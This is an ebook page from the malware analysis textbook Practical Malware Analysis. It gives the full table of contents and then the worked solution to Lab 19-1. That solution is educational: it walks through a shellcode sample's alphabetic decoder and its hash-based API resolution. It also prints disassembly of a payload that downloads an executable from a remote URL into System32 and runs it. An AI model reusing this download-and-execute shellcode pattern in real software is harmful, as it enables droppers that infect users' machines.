Table of Contents for
Practical Malware Analysis

Version ebook / Retour

Cover image for bash Cookbook, 2nd Edition Practical Malware Analysis by Andrew Honig Published by No Starch Press, 2012
  1. Cover
  2. Practical Malware Analysis: The Hands-On Guide to Dissecting Malicious Software
  3. Praise for Practical Malware Analysis
  4. Warning
  5. About the Authors
  6. About the Technical Reviewer
  7. About the Contributing Authors
  8. Foreword
  9. Acknowledgments
  10. Individual Thanks
  11. Introduction
  12. What Is Malware Analysis?
  13. Prerequisites
  14. Practical, Hands-On Learning
  15. What’s in the Book?
  16. 0. Malware Analysis Primer
  17. The Goals of Malware Analysis
  18. Malware Analysis Techniques
  19. Types of Malware
  20. General Rules for Malware Analysis
  21. I. Basic Analysis
  22. 1. Basic Static Techniques
  23. Antivirus Scanning: A Useful First Step
  24. Hashing: A Fingerprint for Malware
  25. Finding Strings
  26. Packed and Obfuscated Malware
  27. Portable Executable File Format
  28. Linked Libraries and Functions
  29. Static Analysis in Practice
  30. The PE File Headers and Sections
  31. Conclusion
  32. Labs
  33. 2. Malware Analysis in Virtual Machines
  34. The Structure of a Virtual Machine
  35. Creating Your Malware Analysis Machine
  36. Using Your Malware Analysis Machine
  37. The Risks of Using VMware for Malware Analysis
  38. Record/Replay: Running Your Computer in Reverse
  39. Conclusion
  40. 3. Basic Dynamic Analysis
  41. Sandboxes: The Quick-and-Dirty Approach
  42. Running Malware
  43. Monitoring with Process Monitor
  44. Viewing Processes with Process Explorer
  45. Comparing Registry Snapshots with Regshot
  46. Faking a Network
  47. Packet Sniffing with Wireshark
  48. Using INetSim
  49. Basic Dynamic Tools in Practice
  50. Conclusion
  51. Labs
  52. II. Advanced Static Analysis
  53. 4. A Crash Course in x86 Disassembly
  54. Levels of Abstraction
  55. Reverse-Engineering
  56. The x86 Architecture
  57. Conclusion
  58. 5. IDA Pro
  59. Loading an Executable
  60. The IDA Pro Interface
  61. Using Cross-References
  62. Analyzing Functions
  63. Using Graphing Options
  64. Enhancing Disassembly
  65. Extending IDA with Plug-ins
  66. Conclusion
  67. Labs
  68. 6. Recognizing C Code Constructs in Assembly
  69. Global vs. Local Variables
  70. Disassembling Arithmetic Operations
  71. Recognizing if Statements
  72. Recognizing Loops
  73. Understanding Function Call Conventions
  74. Analyzing switch Statements
  75. Disassembling Arrays
  76. Identifying Structs
  77. Analyzing Linked List Traversal
  78. Conclusion
  79. Labs
  80. 7. Analyzing Malicious Windows Programs
  81. The Windows API
  82. The Windows Registry
  83. Networking APIs
  84. Following Running Malware
  85. Kernel vs. User Mode
  86. The Native API
  87. Conclusion
  88. Labs
  89. III. Advanced Dynamic Analysis
  90. 8. Debugging
  91. Source-Level vs. Assembly-Level Debuggers
  92. Kernel vs. User-Mode Debugging
  93. Using a Debugger
  94. Exceptions
  95. Modifying Execution with a Debugger
  96. Modifying Program Execution in Practice
  97. Conclusion
  98. 9. OllyDbg
  99. Loading Malware
  100. The OllyDbg Interface
  101. Memory Map
  102. Viewing Threads and Stacks
  103. Executing Code
  104. Breakpoints
  105. Loading DLLs
  106. Tracing
  107. Exception Handling
  108. Patching
  109. Analyzing Shellcode
  110. Assistance Features
  111. Plug-ins
  112. Scriptable Debugging
  113. Conclusion
  114. Labs
  115. 10. Kernel Debugging with WinDbg
  116. Drivers and Kernel Code
  117. Setting Up Kernel Debugging
  118. Using WinDbg
  119. Microsoft Symbols
  120. Kernel Debugging in Practice
  121. Rootkits
  122. Loading Drivers
  123. Kernel Issues for Windows Vista, Windows 7, and x64 Versions
  124. Conclusion
  125. Labs
  126. IV. Malware Functionality
  127. 11. Malware Behavior
  128. Downloaders and Launchers
  129. Backdoors
  130. Credential Stealers
  131. Persistence Mechanisms
  132. Privilege Escalation
  133. Covering Its Tracks—User-Mode Rootkits
  134. Conclusion
  135. Labs
  136. 12. Covert Malware Launching
  137. Launchers
  138. Process Injection
  139. Process Replacement
  140. Hook Injection
  141. Detours
  142. APC Injection
  143. Conclusion
  144. Labs
  145. 13. Data Encoding
  146. The Goal of Analyzing Encoding Algorithms
  147. Simple Ciphers
  148. Common Cryptographic Algorithms
  149. Custom Encoding
  150. Decoding
  151. Conclusion
  152. Labs
  153. 14. Malware-Focused Network Signatures
  154. Network Countermeasures
  155. Safely Investigate an Attacker Online
  156. Content-Based Network Countermeasures
  157. Combining Dynamic and Static Analysis Techniques
  158. Understanding the Attacker’s Perspective
  159. Conclusion
  160. Labs
  161. V. Anti-Reverse-Engineering
  162. 15. Anti-Disassembly
  163. Understanding Anti-Disassembly
  164. Defeating Disassembly Algorithms
  165. Anti-Disassembly Techniques
  166. Obscuring Flow Control
  167. Thwarting Stack-Frame Analysis
  168. Conclusion
  169. Labs
  170. 16. Anti-Debugging
  171. Windows Debugger Detection
  172. Identifying Debugger Behavior
  173. Interfering with Debugger Functionality
  174. Debugger Vulnerabilities
  175. Conclusion
  176. Labs
  177. 17. Anti-Virtual Machine Techniques
  178. VMware Artifacts
  179. Vulnerable Instructions
  180. Tweaking Settings
  181. Escaping the Virtual Machine
  182. Conclusion
  183. Labs
  184. 18. Packers and Unpacking
  185. Packer Anatomy
  186. Identifying Packed Programs
  187. Unpacking Options
  188. Automated Unpacking
  189. Manual Unpacking
  190. Tips and Tricks for Common Packers
  191. Analyzing Without Fully Unpacking
  192. Packed DLLs
  193. Conclusion
  194. Labs
  195. VI. Special Topics
  196. 19. Shellcode Analysis
  197. Loading Shellcode for Analysis
  198. Position-Independent Code
  199. Identifying Execution Location
  200. Manual Symbol Resolution
  201. A Full Hello World Example
  202. Shellcode Encodings
  203. NOP Sleds
  204. Finding Shellcode
  205. Conclusion
  206. Labs
  207. 20. C++ Analysis
  208. Object-Oriented Programming
  209. Virtual vs. Nonvirtual Functions
  210. Creating and Destroying Objects
  211. Conclusion
  212. Labs
  213. 21. 64-Bit Malware
  214. Why 64-Bit Malware?
  215. Differences in x64 Architecture
  216. Windows 32-Bit on Windows 64-Bit
  217. 64-Bit Hints at Malware Functionality
  218. Conclusion
  219. Labs
  220. A. Important Windows Functions
  221. B. Tools for Malware Analysis
  222. C. Solutions to Labs
  223. Lab 1-1 Solutions
  224. Lab 1-2 Solutions
  225. Lab 1-3 Solutions
  226. Lab 1-4 Solutions
  227. Lab 3-1 Solutions
  228. Lab 3-2 Solutions
  229. Lab 3-3 Solutions
  230. Lab 3-4 Solutions
  231. Lab 5-1 Solutions
  232. Lab 6-1 Solutions
  233. Lab 6-2 Solutions
  234. Lab 6-3 Solutions
  235. Lab 6-4 Solutions
  236. Lab 7-1 Solutions
  237. Lab 7-2 Solutions
  238. Lab 7-3 Solutions
  239. Lab 9-1 Solutions
  240. Lab 9-2 Solutions
  241. Lab 9-3 Solutions
  242. Lab 10-1 Solutions
  243. Lab 10-2 Solutions
  244. Lab 10-3 Solutions
  245. Lab 11-1 Solutions
  246. Lab 11-2 Solutions
  247. Lab 11-3 Solutions
  248. Lab 12-1 Solutions
  249. Lab 12-2 Solutions
  250. Lab 12-3 Solutions
  251. Lab 12-4 Solutions
  252. Lab 13-1 Solutions
  253. Lab 13-2 Solutions
  254. Lab 13-3 Solutions
  255. Lab 14-1 Solutions
  256. Lab 14-2 Solutions
  257. Lab 14-3 Solutions
  258. Lab 15-1 Solutions
  259. Lab 15-2 Solutions
  260. Lab 15-3 Solutions
  261. Lab 16-1 Solutions
  262. Lab 16-2 Solutions
  263. Lab 16-3 Solutions
  264. Lab 17-1 Solutions
  265. Lab 17-2 Solutions
  266. Lab 17-3 Solutions
  267. Lab 18-1 Solutions
  268. Lab 18-2 Solutions
  269. Lab 18-3 Solutions
  270. Lab 18-4 Solutions
  271. Lab 18-5 Solutions
  272. Lab 19-1 Solutions
  273. Lab 19-2 Solutions
  274. Lab 19-3 Solutions
  275. Lab 20-1 Solutions
  276. Lab 20-2 Solutions
  277. Lab 20-3 Solutions
  278. Lab 21-1 Solutions
  279. Lab 21-2 Solutions
  280. Index
  281. Index
  282. Index
  283. Index
  284. Index
  285. Index
  286. Index
  287. Index
  288. Index
  289. Index
  290. Index
  291. Index
  292. Index
  293. Index
  294. Index
  295. Index
  296. Index
  297. Index
  298. Index
  299. Index
  300. Index
  301. Index
  302. Index
  303. Index
  304. Index
  305. Index
  306. Index
  307. Updates
  308. About the Authors
  309. Copyright

Lab 19-1 Solutions

Short Answers

  1. The shellcode is stored with an alphabetic encoding; each payload byte is stored in the low nibble of two encoded bytes.

  2. The shellcode resolves the following functions:

    • LoadLibraryA

    • GetSystemDirectoryA

    • TerminateProcess

    • GetCurrentProcess

    • WinExec

    • URLDownloadToFileA

  3. The shellcode downloads this URL:

    http://www.practicalmalwareanalysis.com/shellcode/annoy_user.exe

  4. The shellcode writes %SystemRoot%\System32\1.exe and executes it.

  5. The shellcode downloads a file from a URL stored within the encoded payload, writes it to disk, and executes it.

Detailed Analysis

You can perform dynamic analysis with the shellcode_launcher.exe utility with the following command line:

shellcode_launcher.exe –i Lab19-01.bin -bp

The –bp option causes the program to execute a breakpoint instruction just prior to jumping to the shellcode buffer. If the system is configured with a just-in-time debugger, the breakpoint instruction will cause shellcode_launcher.exe to be loaded by the debugger (as discussed in Chapter 19). You can set OllyDbg as your just-in-time debugger by selecting Options ▸ Just-in-Time Debugging ▸ Make OllyDbg Just-in-Time Debugger. If you do not set a just-in-time debugger, you can still run the program by specifying the shellcode_launcher.exe program as the executable to debug, but you must also be sure to provide the program arguments as well.

The shellcode decoder starts at in Example C-188. It uses an alphabetic encoding with each encoded byte between 0x41 (A) and 0x50 (P). Each payload byte is stored in the low 4-bit nibble of two encoded bytes. The decoder loads each pair of encoded bytes, subtracts the base value 0x41, shifts and adds the two values, and stores the value back to memory. The push shown at is used to transfer control to the payload with the retn at .

Example C-188. Shellcode decoder with alphabetic encoding

00000200   xor     ecx, ecx 
00000202   mov     cx, 18Dh
00000206   jmp     short loc_21F
00000208
00000208   pop     esi
00000209   push    esi 
0000020A   mov     edi, esi
0000020C loc_20C:
0000020C   lodsb
0000020D   mov     dl, al
0000020F   sub     dl, 41h ; 'A'
00000212   shl     dl, 4
00000215   lodsb
00000216   sub     al, 41h ; 'A'
00000218   add     al, dl
0000021A   stosb
0000021B   dec     ecx
0000021C   jnz     short loc_20C
0000021E   retn 
0000021F loc_21F:
0000021F   call    sub_208

The start of the decoded payload begins at offset 0x224, where the code again performs a call/pop pair to obtain a pointer to data stored at the end of the payload. Two strings are stored here: URLMON and the URL http://www.practicalmalwareanalysis.com/shellcode/annoy_user.exe.

The shellcode uses the same findKernel32Base and findSymbolByHash functions described in Chapter 19 to manually resolve import functions. The findKernel32Base function returns the location of kernel32.dll in memory, and the findSymbolByHash function manually parses the provided DLL in memory, looking for the export symbol whose name hashes to the given DWORD value. These function pointers are stored back onto the stack for use later. Example C-189 shows the decoded shellcode searching for function imports.

Example C-189. Shellcode resolving imports

000002BF   pop     ebx
000002C0   call    findKernel32Base
000002C5   mov     edx, eax
000002C7   push    0EC0E4E8Eh      ; kernel32.dll:LoadLibraryA
000002CC   push    edx
000002CD   call    findSymbolByHash
000002D2   mov     [ebp-4], eax
000002D5   push    0B8E579C1h      ; kernel32.dll:GetSystemDirectoryA
000002DA   push    edx
000002DB   call    findSymbolByHash
000002E0   mov     [ebp-8], eax
000002E3   push    78B5B983h       ; kernel32.dll:TerminateProcess
000002E8   push    edx
000002E9   call    findSymbolByHash
000002EE   mov     [ebp-0Ch], eax
000002F1   push    7B8F17E6h       ; kernel32.dll:GetCurrentProcess
000002F6   push    edx
000002F7   call    findSymbolByHash
000002FC   mov     [ebp-10h], eax
000002FF   push    0E8AFE98h       ; kernel32.dll:WinExec
00000304   push    edx
00000305   call    findSymbolByHash
0000030A   mov     [ebp-14h], eax
0000030D   lea     eax, [ebx]
0000030F   push    eax
00000310   call    dword ptr [ebp-4] ; LoadLibraryA
00000313   push    702F1A36h       ; urlmon.dll:URLDownloadToFileA
00000318   push    eax
00000319   call    findSymbolByHash

Example C-190 shows the main functionality of the shellcode. The malware retrieves the system directory at , and then appends the string 1.exe at . This is used as the local filesystem path argument to URLDownloadToFileA called at . This function is commonly found in shellcode. One function call performs an HTTP GET to the URL the code specifies and stores it at the specified file path. Here, the URL is the string stored at the end of the decoded shellcode. Finally, the shellcode executes the downloaded file at before cleanly exiting.

Example C-190. Shellcode payload

0000031E   mov     [ebp-18h], eax
00000321   push    80h
00000326   lea     edi, [ebx+48h]
00000329   push    edi
0000032A   call    dword ptr [ebp-8] ; GetSystemDirectoryA 
0000032D   add     edi, eax
0000032F   mov     dword ptr [edi], 652E315Ch ; "\\1.e" 
00000335   mov     dword ptr [edi+4], 6578h   ; "xe\x00"
0000033C   xor     ecx, ecx
0000033E   push    ecx
0000033F   push    ecx
00000340   lea     eax, [ebx+48h]
00000343   push    eax             ; localFileSystemPath
00000344   lea     eax, [ebx+7]
00000347   push    eax             ; URL to download
00000348   push    ecx
00000349   call    dword ptr [ebp-18h] ; URLDownloadToFileA 
0000034C   push    5
00000351   lea     eax, [ebx+48h]      ; path to executable
00000354   push    eax
00000355   call    dword ptr [ebp-14h] ; WinExec 
00000358   call    dword ptr [ebp-10h] ; GetCurrentProcess
0000035B   push    0
00000360   push    eax
00000361   call    dword ptr [ebp-0Ch] ; TerminateProcess